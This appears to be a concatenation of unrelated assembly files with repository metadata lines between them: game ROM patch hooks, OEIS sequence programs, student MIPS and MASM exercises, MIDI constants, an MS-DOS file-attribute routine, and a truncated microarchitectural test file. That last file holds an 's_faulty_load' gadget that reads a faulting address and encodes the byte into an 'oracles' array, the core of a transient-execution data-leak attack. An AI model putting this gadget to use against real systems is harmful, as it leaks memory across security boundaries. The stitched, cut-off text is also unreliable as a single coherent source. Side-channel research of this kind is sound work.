.org 0xE09FB0
jal override_suns_song
; lw $t7, 0xa4($s0)
; lui $t3, 0x8010
; addiu $t3, $t3, -0x70cc
; and $t8, $t6, $t7
.org 0xB06400
lb t7,0x0EDE(s0) ; check learned song from ZL
.skip 4
.skip 4
andi t8, t7, 0x02
; Impa does not despawn from Zelda Escape CS
.org 0xD12F78
li t7, 0
;li v1, 5
.org 0xE29388
j override_saria_song_check
;lh v0, 0xa4(t6) ; v0 = scene
.org 0xE2A044
jal set_saria_song_flag
; li a1, 3
.org 0xDB532C
jal override_song_of_time
;==================================================================================================
; Fire Arrow Chest
;==================================================================================================
; Don't require water temple
; bne t9,at,+0x0024
.org 0xE9E1D8
li t1, 0x4000
; Load chest contents
; li t0, 0x0007
.org 0xE9E1F0
li t0, 0x5B08
; Load actor type
; li a2, 0x010f
.org 0xE9E200
li a2, 0x000A
; Set rotation
; sw zero, 0x1C (sp)
.org 0xE9E20C
sw t1, 0x1C (sp)
;==================================================================================================
; Epona Check Override
;==================================================================================================
.org 0xA9E838
j Check_Has_Epona_Song
;==================================================================================================
; Shop Injections
;==================================================================================================
; Check sold out override
.org 0xC004EC
j Shop_Check_Sold_Out
; Allow Shop Item ID up to 100 instead of 50
; slti at, v1, 0x32
.org 0xC0067C
slti at, v1, 100
; Set sold out override
; lh t6, 0x1c(a1)
.org 0xC018A0
jal Shop_Set_Sold_Out
; Only run init function if ID is in normal range
; jr t9
.org 0xC6C7A8
jal Shop_Keeper_Init_ID
.org 0xC6C920
jal Shop_Keeper_Init_ID
; Override Deku Salescrub sold out check
; addiu at, zero, 2
; lui v1, 0x8012
; bne v0, at, 0xd8
; addiu v1, v1, -0x5a30
; lhu t9, 0xef0(v1)
.org 0xEBB85C
jal Deku_Check_Sold_Out
.skip 4
bnez v0, @Deku_Check_True
.skip 4
b @Deku_Check_False
.org 0xEBB8B0
@Deku_Check_True:
.org 0xEBB8C0
@Deku_Check_False:
; Ovveride Deku Scrub set sold out
; sh t7, 0xef0(v0)
.org 0xDF7CB0
jal Deku_Set_Sold_Out
;==================================================================================================
; Dungeon info display
;==================================================================================================
; Talk to Temple of Time Altar injection
; Replaces:
; jal 0xD6218
.org 0xE2B0B4
jal set_dungeon_knowledge
;==================================================================================================
; V1.0 Scarecrow Song Bug
;==================================================================================================
; Replaces:
; jal 0x80057030 ; copies Scarecrow Song from active space to save context
.org 0xB55A64 ; In memory 800DFB04
jal save_scarecrow_song
;==================================================================================================
; Override Player Name Text
;==================================================================================================
; Replaces
; lui t2,0x8012
; addu t2,t2,s3
; lbu t2,-23053(t2)
.org 0xB51690
jal get_name_char
addi a0, s3, -1
ori t2, v0, 0
; Replaces
; lui s0,0x8012
; addu s0,s0,s2
; lbu s0,-23052(s0)
.org 0xB516C0
jal get_name_char
ori a0, s2, 0
ori s0, v0, 0
; Replaces
; lw s6,48(sp)
; lw s7,52(sp)
; lw s8,56(sp)
.org 0xB52784
jal reset_player_name_id
nop
lw ra, 0x3C (sp)
| 27.338346
| 114
| 0.467547
|
b18741396bbabf0286eae43e9a365210224b0d8d
| 413
|
asm
|
Assembly
|
programs/oeis/101/A101803.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/101/A101803.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/101/A101803.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A101803: Nearest integer to n*(phi-1), where phi is golden ratio 1.618033988749895... (A001622).
; 0,1,1,2,2,3,4,4,5,6,6,7,7,8,9,9,10,11,11,12,12,13,14,14,15,15,16,17,17,18,19,19,20,20,21,22,22,23,23,24,25,25,26,27,27,28,28,29,30,30,31,32,32,33,33,34,35,35,36,36,37,38,38,39,40,40,41,41,42,43,43,44,44,45,46
add $0,4
mov $1,1
lpb $0
sub $0,1
add $1,21
mov $2,17
lpe
div $1,$2
div $1,2
sub $1,2
mov $0,$1
| 27.533333
| 210
| 0.62954
|
9d4a3ddaf024eaf5ec8f4f89ff96183d1389364e
| 2,669
|
asm
|
Assembly
|
Assembly/CH06N07/CH06N07.asm
|
IceNerd/hogwarts
|
df1f3e1a94688fd728f6b54653a36a47671293da
|
[
"Unlicense"
] | null | null | null |
Assembly/CH06N07/CH06N07.asm
|
IceNerd/hogwarts
|
df1f3e1a94688fd728f6b54653a36a47671293da
|
[
"Unlicense"
] | null | null | null |
Assembly/CH06N07/CH06N07.asm
|
IceNerd/hogwarts
|
df1f3e1a94688fd728f6b54653a36a47671293da
|
[
"Unlicense"
] | null | null | null |
TITLE Boolean Calculator (CH06N07.asm)
;Program Description: This program will do boolean algebra to integers
;
;Author: Alberto Martinez
;Date Created: 10.26.03
;Last Modification Date: 10.26.03
INCLUDE Irvine32.inc
.DATA
StartMSG BYTE "Boolean Calculator",0
CaseTable BYTE '1'
DWORD CMD_AND
BYTE '2'
DWORD CMD_OR
BYTE '3'
DWORD CMD_NOT
BYTE '4'
DWORD CMD_XOR
NumberOfEntries=4
Menu01 BYTE "1: x AND y",0
MenuChoice01 BYTE "This performs the AND operation to two integers",0
Menu02 BYTE "2: x OR y",0
MenuChoice02 BYTE "This performs the OR operation to two integers",0
Menu03 BYTE "3: NOT x",0
MenuChoice03 BYTE "This performs the NOT operation to an integer",0
Menu04 BYTE "4: x XOR y",0
MenuChoice04 BYTE "This performs the XOR operation to two integers",0
Menu05 BYTE "5: Exit Program",0
.CODE
main PROC
MENU:
call Write_Menu
mov ebx,OFFSET CaseTable
mov ecx,NumberOfEntries
L1:
cmp al,5
je L3
cmp al,[ebx]
jne L2
call NEAR PTR [ebx + 1]
jmp MENU
L2:
add ebx,5
loop L1
L3: call clrscr
exit
main ENDP
;-----------------------------------------------
Write_Menu PROC
;
; Reads:
; Receives: nothing
; Returns:
;-----------------------------------------------
call clrscr
mov edx, OFFSET StartMSG
call WriteString
call Crlf
mov edx, OFFSET Menu01
call WriteString
call Crlf
mov edx, OFFSET Menu02
call WriteString
call Crlf
mov edx, OFFSET Menu03
call WriteString
call Crlf
mov edx, OFFSET Menu04
call WriteString
call Crlf
mov edx, OFFSET Menu05
call WriteString
call Crlf
call ReadCHAR
ret
Write_Menu ENDP
;-----------------------------------------------
CMD_AND PROC
;
; Reads:
; Receives: nothing
; Returns:
;-----------------------------------------------
call clrscr
mov edx, OFFSET MenuChoice01
call WriteString
call ReadChar
ret
CMD_AND ENDP
;-----------------------------------------------
CMD_OR PROC
;
; Reads:
; Receives: nothing
; Returns:
;-----------------------------------------------
call clrscr
mov edx, OFFSET MenuChoice02
call WriteString
call ReadChar
ret
CMD_OR ENDP
;-----------------------------------------------
CMD_NOT PROC
;
; Reads:
; Receives: nothing
; Returns:
;-----------------------------------------------
call clrscr
mov edx, OFFSET MenuChoice03
Call WriteString
call ReadChar
ret
CMD_NOT ENDP
;-----------------------------------------------
CMD_XOR PROC
;
; Reads:
; Receives: nothing
; Returns:
;-----------------------------------------------
call clrscr
mov edx, OFFSET MenuChoice04
call WriteString
call ReadChar
ret
CMD_XOR ENDP
END main
| 17.559211
| 71
| 0.58299
|
6f7f56b4ae71104cb2e67caf71579a92f6a23598
| 1,056
|
asm
|
Assembly
|
PartC.asm
|
haarisyahya/MIPS-Assembly-programs-created
|
2c9d9770281c12505e9e02d415068e06a75a84ea
|
[
"MIT"
] | null | null | null |
PartC.asm
|
haarisyahya/MIPS-Assembly-programs-created
|
2c9d9770281c12505e9e02d415068e06a75a84ea
|
[
"MIT"
] | null | null | null |
PartC.asm
|
haarisyahya/MIPS-Assembly-programs-created
|
2c9d9770281c12505e9e02d415068e06a75a84ea
|
[
"MIT"
] | null | null | null |
#Haaris Yahya
#hy20ao
#7054984
.data
prompt: .asciiz "Enter a non-negative value for n: "
prompt2: .asciiz "Enter character : "
prompt1: .asciiz "Error !!! Number should be greater than or equal to 3"
newline: .asciiz "\n"
asterisk: .byte '*'
.text
#prompt and read int
li $v0, 4
la $a0, prompt
syscall
#read int and store in $t0
li $v0, 5
syscall
move $t0, $v0 #store n in $t0
blt $t0,3,showError
#prompt and read char
li $v0, 4
la $a0, prompt2
syscall
li $v0, 12
syscall
move $s0, $v0 #store n in $s0
#prompt newline
li $v0, 4
la $a0, newline
syscall
li $t2,1
outerLoop:
bgt $t2, $t0, end_loop2
li $t1, 1 #counter
loop:
bgt $t1, $t0, end_loop
#print asterisk\
beq $t2,1,print
beq $t2,$t0,print
beq $t1,$t0,print
beq $t1,1,print
li $v0, 11
li $a0, ' '
syscall
j skipPrint
print:
li $v0, 11
move $a0, $s0
syscall
skipPrint:
add $t1, $t1, 1 #increment counter
b loop
end_loop:
add $t2, $t2, 1 #increment counter
li $v0, 11
li $a0, '\n'
syscall
b outerLoop
end_loop2:
#exit
li $v0, 10
syscall
showError:
li $v0, 4
la $a0, prompt1
syscall
| 12.137931
| 72
| 0.676136
|
d0514273d29e4413ddd72803c38c967cb6f5ff6d
| 560
|
asm
|
Assembly
|
mips assembly/include/midi.asm
|
adrianmgg/misc_little_things_i_did
|
077a0d7728c6259c51b6cc8ce87a36144c76f97b
|
[
"MIT"
] | null | null | null |
mips assembly/include/midi.asm
|
adrianmgg/misc_little_things_i_did
|
077a0d7728c6259c51b6cc8ce87a36144c76f97b
|
[
"MIT"
] | null | null | null |
mips assembly/include/midi.asm
|
adrianmgg/misc_little_things_i_did
|
077a0d7728c6259c51b6cc8ce87a36144c76f97b
|
[
"MIT"
] | null | null | null |
.eqv VOICE_PIANO 0
.eqv VOICE_CHROMATIC_PERCUSSION 8
.eqv VOICE_ORGAN 16
.eqv VOICE_GUITAR 24
.eqv VOICE_BASS 32
.eqv VOICE_STRINGS 40
.eqv VOICE_ENSEMBLE 48
.eqv VOICE_BRASS 56
.eqv VOICE_REED 64
.eqv VOICE_PIPE 72
.eqv VOICE_SYNTH_LEAD 80
.eqv VOICE_SYNTH_PAD 88
.eqv VOICE_SYNTH_EFFECTS 96
.eqv VOICE_ETHNIC 104
.eqv VOICE_PERCUSSION 112
.eqv VOICE_SOUND_EFFECTS 120
| 35
| 35
| 0.546429
|
7182d9fd00cf2f20812f28d2a48493bd563c02a0
| 406
|
asm
|
Assembly
|
programs/oeis/204/A204674.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/204/A204674.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/204/A204674.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A204674: a(n) = 4*n^3 + 5*n^2 + 2*n + 1.
; 1,12,57,160,345,636,1057,1632,2385,3340,4521,5952,7657,9660,11985,14656,17697,21132,24985,29280,34041,39292,45057,51360,58225,65676,73737,82432,91785,101820,112561,124032,136257,149260,163065,177696,193177,209532,226785,244960,264081
mov $4,$0
add $0,1
pow $0,2
mov $1,$0
mov $3,$4
mul $3,$4
mov $2,$3
mul $2,4
add $1,$2
mul $3,$4
mov $2,$3
mul $2,4
add $1,$2
| 23.882353
| 235
| 0.679803
|
d1534bc6c5962b4023f2a4b559e870c1dc546a12
| 738
|
asm
|
Assembly
|
EserciziMips/Stack.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
EserciziMips/Stack.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
EserciziMips/Stack.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
# Si consideri la funzione f definita su interi
# f(x) = f(x-2) – 2
# f(1) = 14
# f(0) = 10
# Si realizzi un programma in assembler MIPS che,definito un intero
# positivo x≥2, calcola il corrispondente valore di f(x) in modo ricorsivo
# ESEMPIO:
# f(6)=f(4)-2=(f(2)-2)-2=((f(0)-2)-2)-2=10-2-2-2=4
# f(5)=f(3)-2=f(1)-2-2=14-2-2=10
.text
.globl main
main:
li $v0, 5
syscall
move $a0, $v0
jal ric
move $a0, $v0
li $v0, 1
syscall
li $v0, 10
syscall
ric:
move $t0, $a0
ble $t0, 1, ret14
subi $sp, $sp, 8
sw $ra, 4($sp)
sw $t0, 0($sp)
subi $t0, $t0, 2
move $a0, $t0
jal ric
lw $t0, 0($sp)
lw $ra, 4($sp)
addi $sp, $sp, 8
subi $v0, $v0, 2
jr $ra
ret14:
li $v0, 14
bnez $t0, ret
li $v0, 10
ret:
jr $ra
.data
| 15.061224
| 74
| 0.574526
|
e5c7330e4cefe4eb5deff19cc66be5780350419d
| 1,209
|
asm
|
Assembly
|
programs/oeis/017/A017413.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/017/A017413.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/017/A017413.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A017413: a(n) = 11*n + 2.
; 2,13,24,35,46,57,68,79,90,101,112,123,134,145,156,167,178,189,200,211,222,233,244,255,266,277,288,299,310,321,332,343,354,365,376,387,398,409,420,431,442,453,464,475,486,497,508,519,530,541,552,563,574,585,596,607,618,629,640,651,662,673,684,695,706,717,728,739,750,761,772,783,794,805,816,827,838,849,860,871,882,893,904,915,926,937,948,959,970,981,992,1003,1014,1025,1036,1047,1058,1069,1080,1091,1102,1113,1124,1135,1146,1157,1168,1179,1190,1201,1212,1223,1234,1245,1256,1267,1278,1289,1300,1311,1322,1333,1344,1355,1366,1377,1388,1399,1410,1421,1432,1443,1454,1465,1476,1487,1498,1509,1520,1531,1542,1553,1564,1575,1586,1597,1608,1619,1630,1641,1652,1663,1674,1685,1696,1707,1718,1729,1740,1751,1762,1773,1784,1795,1806,1817,1828,1839,1850,1861,1872,1883,1894,1905,1916,1927,1938,1949,1960,1971,1982,1993,2004,2015,2026,2037,2048,2059,2070,2081,2092,2103,2114,2125,2136,2147,2158,2169,2180,2191,2202,2213,2224,2235,2246,2257,2268,2279,2290,2301,2312,2323,2334,2345,2356,2367,2378,2389,2400,2411,2422,2433,2444,2455,2466,2477,2488,2499,2510,2521,2532,2543,2554,2565,2576,2587,2598,2609,2620,2631,2642,2653,2664,2675,2686,2697,2708,2719,2730,2741
mov $1,$0
mul $1,11
add $1,2
| 172.714286
| 1,150
| 0.767577
|
3fb1ed73cc12508b934028ce1a3c9fcb22761532
| 149
|
asm
|
Assembly
|
day21/app/a_asm.asm
|
ghosind/HariboteOS
|
f2e1d3a46e061d68e2bb23f3d5eb25e8147b2d85
|
[
"MIT"
] | 11
|
2021-06-09T01:11:51.000Z
|
2022-03-17T12:32:28.000Z
|
day21/app/a_asm.asm
|
ghosind/HariboteOS
|
f2e1d3a46e061d68e2bb23f3d5eb25e8147b2d85
|
[
"MIT"
] | null | null | null |
day21/app/a_asm.asm
|
ghosind/HariboteOS
|
f2e1d3a46e061d68e2bb23f3d5eb25e8147b2d85
|
[
"MIT"
] | null | null | null |
[BITS 32]
GLOBAL api_putchar, api_end
api_putchar:
MOV EDX, 1
MOV AL, [ESP+4]
INT 0x40
RET
api_end:
MOV EDX, 4
INT 0x40
| 10.642857
| 29
| 0.590604
|
76756355788ddbcb3d99292401fb10c052ace1be
| 7,152
|
asm
|
Assembly
|
dos/finfo.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dos/finfo.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dos/finfo.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
TITLE FILE_INFO - Internal Get/Set File Info routines
NAME FILE_INFO
;
; Microsoft Confidential
; Copyright (C) Microsoft Corporation 1991
; All Rights Reserved.
;
;** Low level routines for returning file information and setting file
; attributes
;
; GET_FILE_INFO
; SET_FILE_ATTRIBUTE
;
; Modification history:
;
; Created: ARR 30 March 1983
;
; M025: Return access_denied if attempting to set
; attribute of root directory.
;
.xlist
.xcref
include version.inc
include dosseg.inc
INCLUDE DOSSYM.INC
INCLUDE DEVSYM.INC
include fastxxxx.inc
include fastopen.inc
include mult.inc
.cref
.list
Installed = TRUE
i_need THISCDS,DWORD
i_need CURBUF,DWORD
i_need NoSetDir,BYTE
i_need THISDRV,BYTE
I_need EXTERR_CLASS,BYTE
I_need EXTERR_ACTION set
I_need EXTERR_LOCUS,BYTE
i_need DMAADD,DWORD
i_need FastOpenFlg,BYTE
DOSCODE SEGMENT
ASSUME SS:DOSDATA,CS:DOSCODE
SUBTTL GET_FILE_INFO -- Get File Information
PAGE
;----------------------------------------------------------------------------
;
; Procedure Name : GET_FILE_INFO
;
; Inputs:
; [WFP_START] Points to WFP string ("d:/" must be first 3 chars, NUL
; terminated)
; [CURR_DIR_END] Points to end of Current dir part of string
; ( = -1 if current dir not involved, else
; Points to first char after last "/" of current dir part)
; [THISCDS] Points to CDS being used
; (Low word = -1 if NUL CDS (Net direct request))
; [SATTRIB] Is attribute of search, determines what files can be found
; Function:
; Get Information about a file
; Returns:
; CARRY CLEAR
; AX = Attribute of file
; CX = Time stamp of file
; DX = Date stamp of file
; BX:DI = Size of file (32 bit)
; CARRY SET
; AX is error code
; error_file_not_found
; Last element of path not found
; error_path_not_found
; Bad path (not in curr dir part if present)
; error_bad_curr_dir
; Bad path in current directory part of path
; DS preserved, others destroyed
;---------------------------------------------------------------------------
procedure GET_FILE_INFO,NEAR
;hkn; get_file_info is called from file.asm and fcbio.asm. DS has been set
;hkn; to DOSDATA at this point. So DOSassume is OK.
DOSAssume <DS>,"Get_File_Info"
ASSUME ES:NOTHING
Invoke TestNet
JNC Local_Info
IF NOT Installed
transfer NET_GET_FILE_INFO
ELSE
MOV AX,(multNET SHL 8) OR 15
INT 2FH
return
ENDIF
LOCAL_INFO:
EnterCrit critDisk
MOV [NoSetDir],1 ; if we find a dir, don't change to it
invoke Get_FAST_PATH
info_check:
JNC info_check_dev
NO_PATH:
DOSAssume <DS>,"No_Path"
ASSUME ES:NOTHING
JNZ bad_path
OR CL,CL
JZ bad_path
info_no_file:
MOV AX,error_file_not_found
BadRet:
STC
justRet:
LeaveCrit critDisk
return
bad_path:
MOV AX,error_path_not_found
jmp BadRet
info_check_dev:
OR AH,AH
JS info_no_file ; device
;SR;
; If root dir then CurBuf == -1. Check for this case and return subdir attr
;for a root dir
;
cmp word ptr CurBuf,-1 ;is it a root dir?
jne not_root ;no, CurBuf ptr is valid
xor ah,ah
mov al,ATTR_DIRECTORY
clc
jmp short justret
not_root:
PUSH DS
MOV DS,WORD PTR [CURBUF+2]
ASSUME DS:NOTHING
MOV SI,BX
XOR BX,BX ; Assume size=0 (dir)
MOV DI,BX
MOV CX,[SI.dir_time]
MOV DX,[SI.dir_date]
XOR AH,AH
MOV AL,[SI.dir_attr]
TEST AL,attr_directory
JNZ NO_SIZE
MOV DI,[SI.dir_size_l]
MOV BX,[SI.dir_size_h]
NO_SIZE:
POP DS
CLC
jmp JustRet
EndProc GET_FILE_INFO
Break <SET_FILE_ATTRIBUTE -- Set File Attribute>
;-------------------------------------------------------------------------------
;
; Procedure Name : SET_FILE_ATTRIBUTE
; Inputs:
; [WFP_START] Points to WFP string ("d:/" must be first 3 chars, NUL
; terminated)
; [CURR_DIR_END] Points to end of Current dir part of string
; ( = -1 if current dir not involved, else
; Points to first char after last "/" of current dir part)
; [THISCDS] Points to CDS being used
; (Low word = -1 if NUL CDS (Net direct request))
; [SATTRIB] is attribute of search (determines what files may be found)
; AX is new attributes to give to file
; Function:
; Set File Attributes
; Returns:
; CARRY CLEAR
; No error
; CARRY SET
; AX is error code
; error_file_not_found
; Last element of path not found
; error_path_not_found
; Bad path (not in curr dir part if present)
; error_bad_curr_dir
; Bad path in current directory part of path
; error_access_denied
; Attempt to set an attribute which cannot be set
; (attr_directory, attr_volume_ID)
; error_sharing_violation
; Sharing mode of file did not allow the change
; (this request requires exclusive write/read access)
; (INT 24H generated)
; DS preserved, others destroyed
;----------------------------------------------------------------------------
procedure SET_FILE_ATTRIBUTE,NEAR
;hkn; set_file_attr is called from file.asm. DS has been set
;hkn; to DOSDATA at this point. So DOSassume is OK.
DOSAssume <DS>,"Set_File_Attribute"
ASSUME ES:NOTHING
TEST AX,NOT attr_changeable
JZ set_look
BAD_ACC:
MOV ExtErr_Locus,errLoc_UNK
MOV ExtErr_Class,errClass_Apperr
MOV ExtErr_Action,errAct_Abort
MOV AX,error_access_denied
STC
return
set_look:
Invoke TestNet
JNC Local_Set
IF NOT Installed
transfer NET_SEQ_SET_FILE_ATTRIBUTE
ELSE
PUSH AX
MOV AX,(multNET SHL 8) OR 14
INT 2FH
POP BX ; clean stack
return
ENDIF
LOCAL_SET:
EnterCrit critDisk
PUSH AX ; Save new attributes
MOV [NoSetDir],1 ; if we find a dir, don't change to it
invoke GetPath ; get path through fastopen if there ;AC000;
JNC set_check_device
POP BX ; Clean stack (don't zap AX)
JMP NO_PATH
set_check_device:
OR AH,AH
JNS set_check_share
POP AX
LeaveCrit critDisk
JMP BAD_ACC ; device
set_check_share:
POP AX ; Get new attributes
cmp word ptr [CURBUF], -1 ; M025: Q: is this the root dir
je cannot_set_root ; M025: Y: return error
invoke REN_DEL_Check
JNC set_do
MOV AX,error_sharing_violation
jmp short ok_bye
cannot_set_root: ; M025:
mov ax, error_access_denied ; M025: return error is attempting
stc ; M025: to set attr. of root
jmp short ok_bye ; M025:
set_do:
LES DI,[CURBUF]
AND BYTE PTR ES:[BX].dir_attr,NOT attr_changeable
OR BYTE PTR ES:[BX].dir_attr,AL
TEST ES:[DI.buf_flags],buf_dirty ;LB. if already dirty ;AN000;
JNZ yesdirty ;LB. don't increment dirty count ;AN000;
invoke INC_DIRTY_COUNT ;LB. ;AN000;
OR ES:[DI.buf_flags],buf_dirty
yesdirty:
MOV AL,[THISDRV]
;;;; 10/1/86 F.C update fastopen cache
PUSH DX
PUSH DI
MOV AH,0 ; dir entry update
MOV DL,AL ; drive number A=0,B=1,,
MOV DI,BX ; ES:DI -> dir entry
invoke FastOpen_Update
POP DI
POP DX
;;;; 9/11/86 F.C update fastopen cache
invoke FlushBuf
JNC OK_BYE
MOV AX,error_file_not_found
OK_BYE:
LeaveCrit critDisk
return
EndProc SET_FILE_ATTRIBUTE
procedure GET_FAST_PATH,NEAR
ASSUME DS:NOTHING,ES:NOTHING
;hkn; use SS override for FastOpenFlg
OR [FastOpenFlg],FastOpen_Set ;FO. trigger fastopen ;AN000;
invoke GetPath
PUSHF ;FO. ;AN000;
AND [FastOpenFlg],Fast_yes ;FO. clear all fastopen flags ;AN000;
POPF ;FO. ;AN000;
return
EndProc GET_FAST_PATH
DOSCODE ENDS
END
| 22.490566
| 80
| 0.697567
|
5d3c4e57746c1668ee00c33d3a105f85ee3041a3
| 1,050
|
asm
|
Assembly
|
programs/oeis/079/A079578.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/079/A079578.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/079/A079578.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A079578: Least coprime to n, greater than n+1.
; 3,5,5,7,7,11,9,11,11,13,13,17,15,17,17,19,19,23,21,23,23,25,25,29,27,29,29,31,31,37,33,35,35,37,37,41,39,41,41,43,43,47,45,47,47,49,49,53,51,53,53,55,55,59,57,59,59,61,61,67,63,65,65,67,67,71,69,71,71,73,73,77,75,77,77,79,79,83,81,83,83,85,85,89,87,89,89,91,91,97,93,95,95,97,97,101,99,101,101,103,103,107,105,107,107,109,109,113,111,113,113,115,115,119,117,119,119,121,121,127,123,125,125,127,127,131,129,131,131,133,133,137,135,137,137,139,139,143,141,143,143,145,145,149,147,149,149,151,151,157,153,155,155,157,157,161,159,161,161,163,163,167,165,167,167,169,169,173,171,173,173,175,175,179,177,179,179,181,181,187,183,185,185,187,187,191,189,191,191,193,193,197,195,197,197,199,199,203,201,203,203,205,205,209,207,209,209,211,211,221,213,215,215,217,217,221,219,221,221,223,223,227,225,227,227,229,229,233,231,233,233,235,235,239,237,239,239,241,241,247,243,245,245,247,247,251,249,251,251,253
mov $2,$0
cal $0,71222 ; Smallest k such that gcd(n,k) = gcd(n+1,k+1).
add $0,$2
add $1,$0
add $1,2
| 116.666667
| 899
| 0.705714
|
160169cc5de0b82e0e38756d6033f5a3a8169b3c
| 90
|
asm
|
Assembly
|
file-system/root/usr/drivers/trapm.asm
|
dwildie/cromix-s100computers
|
5155b207b5660aa28b46dee6ce2c1709c50b02f1
|
[
"Apache-2.0"
] | 2
|
2022-01-13T22:27:43.000Z
|
2022-03-22T23:26:47.000Z
|
file-system/root/usr/drivers/trapm.asm
|
dwildie/cromix-s100computers
|
5155b207b5660aa28b46dee6ce2c1709c50b02f1
|
[
"Apache-2.0"
] | null | null | null |
file-system/root/usr/drivers/trapm.asm
|
dwildie/cromix-s100computers
|
5155b207b5660aa28b46dee6ce2c1709c50b02f1
|
[
"Apache-2.0"
] | null | null | null |
;
;
;
entry trapm
psect trapm(rea,exe)
trapm:
trap #14
rts
end
| 6.923077
| 23
| 0.477778
|
16995ffca984e9b1017f41125ee124ae0fd9a03e
| 5,716
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_324.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_324.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_324.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1764b, %rsi
lea addresses_WT_ht+0x1ce43, %rdi
nop
nop
nop
xor %r11, %r11
mov $70, %rcx
rep movsw
cmp $39840, %rbx
lea addresses_D_ht+0x7c4b, %r15
nop
nop
nop
cmp $43420, %r10
movups (%r15), %xmm4
vpextrq $0, %xmm4, %rsi
sub %rcx, %rcx
lea addresses_UC_ht+0x2deb, %r10
nop
and %rsi, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%r10)
nop
nop
nop
nop
add $16144, %r10
lea addresses_UC_ht+0xa84b, %rsi
lea addresses_WT_ht+0x1bc4b, %rdi
nop
nop
nop
nop
nop
sub $24034, %r14
mov $11, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %r15
lea addresses_WC_ht+0xf84b, %rsi
nop
nop
nop
nop
lfence
mov $0x6162636465666768, %rbx
movq %rbx, (%rsi)
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x1484b, %r10
cmp %rdi, %rdi
mov (%r10), %cx
nop
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x224b, %rcx
nop
nop
nop
nop
cmp $10837, %rsi
movups (%rcx), %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rax
push %rbx
// Faulty Load
lea addresses_A+0x1384b, %r9
nop
nop
nop
xor $1487, %rax
movups (%r9), %xmm4
vpextrq $0, %xmm4, %r13
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rbx
pop %rax
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
